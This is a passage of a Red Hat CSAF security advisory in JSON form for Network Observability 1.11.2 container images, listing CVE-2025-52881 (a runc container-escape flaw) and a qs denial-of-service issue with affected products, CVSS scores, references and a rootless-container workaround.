"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "qs: qs: Denial of Service via improper input validation in array parsing"
},
{
"cve": "CVE-2025-52881",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2025-10-17T14:19:18.652000+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2404715"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in runc. This attack is a more sophisticated variant of CVE-2019-16884, which was a flaw that allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation applied for CVE-2019-16884 was fairly limited and effectively only caused runc to verify that when we write LSM labels that those labels are actual procfs files.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "runc: opencontainers/selinux: container escape and denial of service due to arbitrary write gadgets and procfs write redirects",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat considers this as an Important flaw since the impact is limited to local attack with minimal privileges in order to jeopardize the environment.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"known_not_affected": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-52881"
},
{
"category": "external",
"summary": "RHBZ#2404715",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404715"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-52881",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52881"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-52881",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52881"
},
{
"category": "external",
"summary": "https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm",
"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm"
},
{
"category": "external",
"summary": "https://github.com/opencontainers/selinux/pull/237",
"url": "https://github.com/opencontainers/selinux/pull/237"
}
],
"release_date": "2025-11-05T09:00:00+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Potential mitigations for this issue include:\n\n* Using rootless containers, as doing so will block most of the inadvertent writes (runc would run with reduced privileges, making attempts to write to procfs files ineffective).\n* Based on our analysis, neither AppArmor or SELinux can protect against the full version of the redirected write attack. The container runtime is generally privileged enough to write to arbitrary procfs files, which is more than sufficient to cause a container breakout.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
